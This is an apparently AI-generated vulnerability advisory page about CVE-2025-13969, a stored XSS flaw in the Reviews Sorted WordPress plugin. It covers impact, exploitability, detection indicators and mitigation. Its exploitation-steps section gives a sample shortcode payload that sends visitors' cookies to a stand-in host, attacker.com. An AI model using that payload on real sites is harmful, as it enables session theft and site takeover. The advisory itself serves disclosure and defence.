CVE-2025-13969: 
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-13969 is a Stored Cross-Site Scripting (XSS) vulnerability in the Reviews Sorted plugin for WordPress, affecting all versions up to and including 2.4.2. The flaw exists in the space parameter of the [reviews-slider] shortcode due to insufficient input sanitization and output escaping. It was published on December 12, 2025, and assigned a CVSS v3.1 base score of 6.4 (Medium) (Red Hat CVE, Wordfence).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). Authenticated attackers with Contributor-level access or above can inject arbitrary JavaScript via the space parameter of the [reviews-slider] shortcode, which is rendered unsanitized in multiple template files including reviews-slider.php, reviews-slider-1.php, reviews-slider-2.php, and reviews-slider-3.php. The injected script persists in the database and executes in the browser of any user who visits the affected page, making this a stored (persistent) XSS attack (Wordfence, Plugin Source).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user's browser session who visits a page containing the malicious shortcode. This can lead to session cookie theft, credential harvesting, defacement of page content, redirection to malicious sites, or further attacks against site administrators — potentially enabling full site takeover if an admin account is compromised. Confidentiality and integrity are both impacted at a low-to-moderate level, while availability is not directly affected (Red Hat CVE, Wordfence).

Exploitability

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-13969. The EPSS score is approximately 0.056%, indicating a low probability of exploitation in the near term. The vulnerability requires at least Contributor-level authentication, which limits the attack surface compared to unauthenticated flaws. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence, Red Hat CVE).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the Reviews Sorted plugin at version 2.4.2 or earlier, using tools like WPScan or by inspecting page source for plugin indicators.
  2. Obtain Contributor Access: Register or compromise an account with at least Contributor-level privileges on the target WordPress site.
  3. Create or Edit a Post: Navigate to the WordPress editor and create or edit a post or page where shortcodes are rendered.
  4. Inject Malicious Payload: Insert the [reviews-slider] shortcode with a crafted space parameter containing a JavaScript payload, e.g., [reviews-slider space="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
  5. Publish the Content: Publish or update the post so the malicious shortcode is stored in the database.
  6. Trigger Execution: When any user (including administrators) visits the affected page, the injected script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, Plugin Source).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing reviews-slider shortcode with unusual space parameter values including HTML tags or JavaScript.
  • Database: Entries in the wp_posts table containing [reviews-slider space="<script or similar XSS payloads within post content.
  • Network: Outbound requests from victim browsers to unknown external domains shortly after loading pages with the [reviews-slider] shortcode, potentially carrying cookie or session data.
  • File System: No direct file system artifacts expected for stored XSS, but review plugin files in wp-content/plugins/reviews-sorted/ for unauthorized modifications.

Mitigation and workarounds

Users should update the Reviews Sorted plugin to a version beyond 2.4.2 that includes proper input sanitization and output escaping for the space parameter. If no patched version is yet available, site administrators should disable the plugin until a fix is released. Additionally, restricting Contributor-level user registration and enforcing the principle of least privilege can reduce the attack surface. A Web Application Firewall (WAF) with XSS filtering rules can provide an additional layer of defense (Wordfence).

Community reactions

Wordfence disclosed the vulnerability as part of their weekly WordPress vulnerability report for December 8–14, 2025, noting it as one of multiple plugin flaws identified that week (Wordfence Weekly Report). No significant independent researcher commentary or broader media coverage has been identified for this specific CVE.

Additional resources


Source: This report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-86850MEDIUM6.5
  • sku-error-fixer-for-woocommerce
NoNoOct 06, 2026
CVE-2026-88931MEDIUM5.3
  • social-web-suite
NoNoOct 06, 2026
CVE-2026-87841MEDIUM5.3
  • unitechpay-paiements-mobile-money
NoNoOct 06, 2026
CVE-2026-92990MEDIUM5.3
  • sendpress
NoNoOct 06, 2026
CVE-2026-92989MEDIUM4.3
  • sendpress
NoNoOct 06, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management